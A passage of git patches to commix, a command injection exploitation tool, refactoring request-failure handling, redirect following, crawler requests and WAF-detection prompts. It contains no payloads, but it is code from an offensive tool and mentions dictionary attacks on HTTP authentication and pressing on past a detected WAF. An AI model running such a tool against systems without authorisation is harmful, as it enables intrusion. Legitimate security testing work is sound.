len(err_msg) != 0 and not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index cc428ebe44..d8509ba8b5 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -76,13 +76,16 @@ def normalize_results(output_href): if message in settings.CHOICE_YES: seen = set() for target in output_href: - value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") - match = re.search(r"/[^/?]*\?.+\Z", value) - if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") - if '=' in key and key not in seen: - results.append(target) - seen.add(key) + try: + value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.append(target) + seen.add(key) + except TypeError: + pass no_usable_links(results) return results elif message in settings.CHOICE_NO: @@ -334,7 +337,7 @@ def crawler(url, url_num, crawling_list): link = 0 if output_href is not None: for url in output_href: - if url not in visited_hrefs: + if url not in visited_hrefs and url is not None: link += 1 settings.CRAWLED_URLS_NUM = link if settings.SINGLE_WHITESPACE in url: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0fe93b952e..5af9bd7abb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5d0161887ac931c2b9a52b07cd6bc55eb0f0f2e3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 4 Feb 2023 08:31:59 +0200 Subject: [PATCH 0274/1023] Minor update --- src/core/main.py | 16 +++++++++++----- src/core/requests/redirection.py | 5 +++-- src/core/requests/requests.py | 4 ++-- src/utils/crawler.py | 2 ++ src/utils/settings.py | 4 ++-- 5 files changed, 20 insertions(+), 11 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 8f60b3eebe..cdb16df8de 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -222,10 +222,11 @@ def url_response(url): settings.CHECK_INTERNET = False response = examine_request(request, url) # Check for URL redirection - if not menu.options.ignore_redirects: - redirect_url = redirection.do_check(request, url) - if redirect_url is not None: - url = redirect_url + if type(response) is not bool and settings.FOLLOW_REDIRECT: + if response.geturl() != url: + redirect_url = redirection.do_check(request, url) + if redirect_url is not None: + url = redirect_url return response, url """ @@ -236,6 +237,8 @@ def init_injection(url): debug_msg = "Initializing the knowledge base." print(settings.print_debug_msg(debug_msg)) # Initiate heuristic checks. + if not settings.FOLLOW_REDIRECT: + settings.FOLLOW_REDIRECT = True if settings.SKIP_CODE_INJECTIONS: settings.SKIP_CODE_INJECTIONS = False if settings.SKIP_COMMAND_INJECTIONS: @@ -564,7 +567,10 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - + + if menu.options.ignore_redirects: + settings.FOLLOW_REDIRECT = False + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 86018b8e19..a4993ded69 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -71,8 +71,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" - message += "Do you want to follow the identified redirection? [Y/n] > " + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + response.geturl() + message += "'. Do you want to follow? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True @@ -82,6 +82,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): settings.HREF_SKIPPED.append(response.geturl()) return checks.check_http_s(response.geturl()) elif redirection_option in settings.CHOICE_NO: + settings.FOLLOW_REDIRECT = False if settings.CRAWLING: settings.HREF_SKIPPED.append(url) return url diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 473f961280..7d7be61904 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -333,7 +333,6 @@ def request_failed(err_msg): pass else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " - err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" if menu.options.auth_type and menu.options.auth_cred: if settings.MULTI_TARGETS: @@ -341,12 +340,13 @@ def request_failed(err_msg): else: err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: - err_msg += " or rerun by providing option '--ignore-code=" +settings.UNAUTHORIZED_ERROR +"'. " + err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " if settings.MULTI_TARGETS: err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS: raise SystemExit() + if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ settings.NOT_FOUND_ERROR in str(err_msg).lower(): diff --git a/src/utils/crawler.py b/src/utils/crawler.py index d8509ba8b5..4c5d495f02 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -190,6 +190,8 @@ def request(url): headers.check_http_traffic(request) if menu.options.proxy: response = proxy.use_proxy(request) + elif menu.options.tor: + response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if not menu.options.ignore_redirects: diff --git a/src/utils/settings.py b/src/utils/settings.py index 5af9bd7abb..568b180a42 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1228,7 +1228,7 @@ def sys_argv_errors(): SITEMAP_CHECK = None -FOLLOW_REDIRECT = False +FOLLOW_REDIRECT = True # Set predefined answers (e.g. "quit=N,follow=N"). ANSWERS = "" From 6b10092c1771a89b0417e5f4b2c989453549de3e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 5 Feb 2023 08:44:24 +0200 Subject: [PATCH 0275/1023] Multiple minor fixes & updates --- src/core/injections/controller/checks.py | 78 ++-------- .../techniques/classic/cb_handler.py | 1 - .../techniques/classic/cb_injector.py | 2 +- .../techniques/eval_based/eb_injector.py | 2 +- src/core/main.py | 11 +- src/core/requests/headers.py | 9 +- src/core/requests/redirection.py | 34 ++-- src/core/requests/requests.py | 145 +++++++++++++----- src/utils/crawler.py | 27 +--- src/utils/settings.py | 2 +- 10 files changed, 151 insertions(+), 160 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 37b580ddaf..03373b53cc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -35,6 +35,7 @@ from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from socket import error as SocketError +from src.core.requests import requests from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -161,70 +162,14 @@ def user_aborted(filename, url): """ Connection exceptions """ -def connection_exceptions(err_msg, url): - settings.VALID_URL = False - try: - error_msg = str(err_msg.args[0]).split("] ")[1] - except IndexError: - try: - error_msg = str(err_msg.args[0]) - except IndexError: - error_msg = str(err_msg) - # if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: - # print(settings.SINGLE_WHITESPACE) - if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): - settings.MAX_RETRIES = 1 - error_msg = "Can't establish SSL connection" - elif "connection refused" in str(error_msg).lower(): - settings.MAX_RETRIES = 1 - else: - if settings.TOTAL_OF_REQUESTS == 1: - if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg): - print(settings.SINGLE_WHITESPACE) - if "IncompleteRead" in str(error_msg): - warn_msg = "There was an incomplete read error while retrieving data " - warn_msg += "from the target URL " - else: - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " - if not menu.options.random_agent: - warn_msg += "'--random-agent' switch and/or " - warn_msg += "'--proxy' option." - print(settings.print_warning_msg(warn_msg)) - if not settings.MULTI_TARGETS and not settings.CRAWLING: - raise SystemExit() - elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected. " - error_msg += "Please check all provided parameters and/or provide missing ones" - elif "BadStatusLine" in str(error_msg): - error_msg = "connection dropped or unknown HTTP " - error_msg += "status code received." - elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): - error_msg = "connection was forcibly closed by the target URL." - elif settings.UNAUTHORIZED_ERROR in str(error_msg) and not menu.options.ignore_code: - error_msg = "Not authorized, try to provide right HTTP " - error_msg += "authentication type and valid credentials." - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - error_msg += " If this is intended, try to rerun by providing " - error_msg += "a valid value for option '--ignore-code'" - if settings.MAX_RETRIES > 1 and not settings.CRAWLING: - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) - error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." - _ = "" - if isinstance(url, str): - _ = " Skipping URL '" + str(url) + "'." - if settings.MULTI_TARGETS or settings.CRAWLING: - if len(_) == 0: - _ = " Skipping to the next target." - error_msg = error_msg + _ - if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: - print(settings.print_critical_msg(error_msg)) - if not settings.MULTI_TARGETS and not settings.CRAWLING: - raise SystemExit() +def connection_exceptions(err_msg): + requests.request_failed(err_msg) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) + if not settings.MULTI_TARGETS and not settings.CRAWLING: + info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + print(settings.print_info_msg(info_msg)) if not settings.VALID_URL : if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() @@ -735,9 +680,10 @@ def continue_tests(err): return True # Possible WAF/IPS/IDS - if (str(err.code) == settings.FORBIDDEN_ERROR or settings.NOT_ACCEPTABLE_ERROR) and \ - not menu.options.skip_waf and \ - not settings.HOST_INJECTION : + if (str(err.code) == settings.FORBIDDEN_ERROR or \ + str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ + not menu.options.skip_waf and \ + not settings.HOST_INJECTION : # Check if "--skip-waf" option is defined # that skips heuristic detection of WAF/IPS/IDS protection. settings.WAF_ENABLED = True @@ -746,8 +692,8 @@ def continue_tests(err): try: while True: - message = "Do you want to ignore the error (" + str(err.code) - message += ") message and continue the tests? [Y/n] > " + message = "Do you want to ignore the response HTTP error code (" + str(err.code) + message += ") and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: return True diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 03ea59c81b..3d0c67f6de 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -170,7 +170,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) - if settings.VERBOSITY_LEVEL == 0: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 14b214df45..83db56226b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -96,7 +96,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True: + if type(response) is bool and response != True or response is None: return False else: # Check the execution results diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index c9d22ba4f6..efb42160b0 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -91,7 +91,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True: + if type(response) is bool and response != True or response is None: return False else: html_data = checks.page_encoding(response, action="decode") diff --git a/src/core/main.py b/src/core/main.py index cdb16df8de..14bbca449e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -222,9 +222,9 @@ def url_response(url): settings.CHECK_INTERNET = False response = examine_request(request, url) # Check for URL redirection - if type(response) is not bool and settings.FOLLOW_REDIRECT: + if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: - redirect_url = redirection.do_check(request, url) + redirect_url = redirection.do_check(request, url, response.geturl()) if redirect_url is not None: url = redirect_url return response, url @@ -897,11 +897,11 @@ def main(filename, url): if not check_for_injected_url(url): settings.SKIP_VULNERABLE_HOST = None http_request_method = checks.check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 perform_check = True while True: - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url)) message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: @@ -933,6 +933,9 @@ def main(filename, url): main(filename, url) except: pass + else: + url_num += 1 + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url)) if url_num == len(clean_output_href): raise SystemExit() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c4243b47ba..e4b1482cab 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -138,7 +138,7 @@ def http_open(self, req): self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg, url=req) + checks.connection_exceptions(err_msg) def https_open(self, req): try: @@ -146,7 +146,7 @@ def https_open(self, req): self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg, url=req) + checks.connection_exceptions(err_msg) opener = _urllib.request.build_opener(connection_handler()) @@ -188,9 +188,6 @@ def https_open(self, req): settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS else: settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 - if settings.VERBOSITY_LEVEL >= 1: - debug_msg = "Got " + str(err_msg) - print(settings.print_debug_msg(debug_msg)) if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break @@ -199,7 +196,7 @@ def https_open(self, req): pass else: if not settings.INIT_TEST: - checks.connection_exceptions(err_msg, url=request) + checks.connection_exceptions(err_msg) break try: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a4993ded69..e7245ed4b2 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -24,15 +24,16 @@ from src.utils import menu from src.utils import settings from src.utils import common +from src.core.requests import requests from socket import error as SocketError -from src.thirdparty.six.moves import http_client as _http_client from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init -def do_check(request, url): +def do_check(request, url, redirect_url): """ This functinality is based on Filippo's Valsorda script [1]. --- @@ -58,12 +59,17 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - - opener = _urllib.request.build_opener(RedirectHandler()) + + try: + opener = _urllib.request.build_opener(RedirectHandler()) + _urllib.request.install_opener(opener) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + requests.crawler_request(redirect_url) + try: - response = opener.open(request, timeout=settings.TIMEOUT) - if url == response.geturl() or (settings.CRAWLING and response.geturl() in settings.HREF_SKIPPED): - return response.geturl() + if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED: + return redirect_url elif settings.CRAWLING and url in settings.HREF_SKIPPED: return url else: @@ -71,16 +77,16 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + response.geturl() + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url message += "'. Do you want to follow? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True - info_msg = "Following redirection to '" + response.geturl() + "'. " + info_msg = "Following redirection to '" + redirect_url + "'. " print(settings.print_info_msg(info_msg)) if settings.CRAWLING: - settings.HREF_SKIPPED.append(response.geturl()) - return checks.check_http_s(response.geturl()) + settings.HREF_SKIPPED.append(url) + return checks.check_http_s(redirect_url) elif redirection_option in settings.CHOICE_NO: settings.FOLLOW_REDIRECT = False if settings.CRAWLING: @@ -92,12 +98,6 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): common.invalid_option(redirection_option) pass - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: - if settings.VALID_URL: - checks.connection_exceptions(err_msg, request) - else: - return url - except AttributeError: return url diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 7d7be61904..ab91e7e535 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -17,6 +17,7 @@ import sys import time import socket +from socket import error as SocketError from src.utils import menu from os.path import splitext from src.utils import settings @@ -25,16 +26,50 @@ # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 from src.utils import common +from src.utils import crawler from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers +from src.core.requests import requests from src.core.requests import parameters +from src.core.requests import redirection from src.core.requests import authentication from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Do a request to target URL. +""" +def crawler_request(url): + try: + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(url) + headers.do_check(request) + headers.check_http_traffic(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: + if response.geturl() != url: + href = redirection.do_check(request, url, response.geturl()) + if href != url: + crawler.store_hrefs(href, identified_hrefs=True, redirection=True) + return response + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + if url not in settings.HREF_SKIPPED: + settings.HREF_SKIPPED.append(url) + settings.CRAWLED_SKIPPED_URLS_NUM += 1 + request_failed(err_msg) + """ Estimating the response time (in seconds). """ @@ -308,6 +343,7 @@ def get_request_response(request): Exceptions regarding requests failure(s) """ def request_failed(err_msg): + settings.VALID_URL = False try: error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: @@ -315,62 +351,95 @@ def request_failed(err_msg): error_msg = str(err_msg.args[0]) except IndexError: error_msg = str(err_msg) - if any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): - err = "Unable to connect to " + + if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): + settings.MAX_RETRIES = 1 + error_msg = "Can't establish SSL connection. " + if settings.MULTI_TARGETS or settings.CRAWLING: + error_msg = error_msg + "Skipping to the next target." + print(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() + else: + return True + + elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): + settings.MAX_RETRIES = 1 + err = "Unable to connect to the target URL" if menu.options.proxy: - err += "proxy" + err += " or proxy" + err = err + " (Reason: " + str(error_msg) + "). " + if settings.MULTI_TARGETS or settings.CRAWLING: + err = err + "Skipping to the next target." + error_msg = err + print(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() else: - err += "the target URL" - err = err + " (Reason: " + str(error_msg) + ")." - print(settings.print_critical_msg(err)) - raise SystemExit() + return True - settings.VALID_URL = False - reason = "" - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - reason = str(err_msg) - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass + elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING: + return True else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" if menu.options.auth_type and menu.options.auth_cred: - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: err_msg += ". " else: err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) - if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS: + if not settings.CRAWLING: + if menu.options.auth_type and menu.options.auth_cred: raise SystemExit() - if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ - settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ - settings.NOT_FOUND_ERROR in str(err_msg).lower(): - reason = str(err_msg) + elif settings.TOTAL_OF_REQUESTS == 1: + if "IncompleteRead" in str(error_msg): + error_msg = "There was an incomplete read error while retrieving data " + error_msg += "from the target URL." + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected. " + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "Connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "Connection was forcibly closed by the target URL." + elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + warn_msg = "The web server responded with an HTTP error code (" + str(status_code[0]) + ") which could interfere with the results of the tests." + print(settings.print_warning_msg(warn_msg)) + return True + else: + error_msg = "The provided target URL seems not reachable. " + error_msg += "In case that it is, please try to re-run using " + if not menu.options.random_agent: + error_msg += "'--random-agent' switch and/or " + error_msg += "'--proxy' option." + print(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() + else: + return True + + elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ + (menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()): + return True - if settings.MULTI_TARGETS: - if len(reason) != 0 and (not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(reason)] or \ - menu.options.ignore_code and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR): - reason = reason + ". Skipping to the next target." - print(settings.print_critical_msg(reason)) - raise SystemExit() - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False else: - err_msg = reason - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ - (menu.options.ignore_code and menu.options.ignore_code in str(err_msg).lower()) or \ - settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - return True - else: - if len(err_msg) != 0 and not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if settings.VERBOSITY_LEVEL >= 1: + if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + debug_msg = "Got " + str(err_msg) + print(settings.print_debug_msg(debug_msg)) + else: + print(settings.print_critical_msg(err_msg)) + return True """ Check if target host is vulnerable. (Cookie-based injection) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 4c5d495f02..e9be40c905 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -21,7 +21,7 @@ from src.utils import common from src.core.injections.controller import checks from src.core.requests import headers -from socket import error as SocketError +from src.core.requests import requests from src.core.requests import proxy from src.core.requests import redirection from src.thirdparty.six.moves import http_client as _http_client @@ -180,30 +180,7 @@ def store_hrefs(href, identified_hrefs, redirection): Do a request to target URL. """ def request(url): - try: - # Check if defined POST data - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) - else: - request = _urllib.request.Request(url) - headers.do_check(request) - headers.check_http_traffic(request) - if menu.options.proxy: - response = proxy.use_proxy(request) - elif menu.options.tor: - response = tor.use_tor(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if not menu.options.ignore_redirects: - href = redirection.do_check(request, url) - if href != url: - store_hrefs(href, identified_hrefs=True, redirection=True) - return response - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - if url not in settings.HREF_SKIPPED: - settings.HREF_SKIPPED.append(url) - settings.CRAWLED_SKIPPED_URLS_NUM += 1 - checks.connection_exceptions(err_msg, url) + return requests.crawler_request(url) """ Enable crawler. diff --git a/src/utils/settings.py b/src/utils/settings.py index 568b180a42..a7d2dca63f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e24a953c9d49940972712fd6053f69002a81408b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Feb 2023 07:49:28 +0200 Subject: [PATCH 0276/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/6b10092c1771a89b0417e5f4b2c989453549de3e --- src/core/injections/controller/checks.py | 25 +- src/core/requests/requests.py | 559 ++++------------------- src/utils/crawler.py | 79 ++-- src/utils/settings.py | 2 +- 4 files changed, 138 insertions(+), 527 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 03373b53cc..4b38beb9ef 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -680,20 +680,19 @@ def continue_tests(err): return True # Possible WAF/IPS/IDS - if (str(err.code) == settings.FORBIDDEN_ERROR or \ - str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ - not menu.options.skip_waf and \ - not settings.HOST_INJECTION : - # Check if "--skip-waf" option is defined - # that skips heuristic detection of WAF/IPS/IDS protection. - settings.WAF_ENABLED = True - warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." - print(settings.print_warning_msg(warn_msg)) - try: + if (str(err.code) == settings.FORBIDDEN_ERROR or \ + str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ + not menu.options.skip_waf and \ + not settings.HOST_INJECTION : + # Check if "--skip-waf" option is defined (to skip heuristic detection of WAF/IPS/IDS protection). + settings.WAF_ENABLED = True + warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." + print(settings.print_warning_msg(warn_msg)) + while True: - message = "Do you want to ignore the response HTTP error code (" + str(err.code) - message += ") and continue the tests? [Y/n] > " + message = "Do you want to ignore the response HTTP error code '" + str(err.code) + message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: return True @@ -704,6 +703,8 @@ def continue_tests(err): else: common.invalid_option(continue_tests) pass + except AttributeError: + pass except KeyboardInterrupt: raise diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ab91e7e535..8cab82f762 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -218,18 +218,6 @@ def 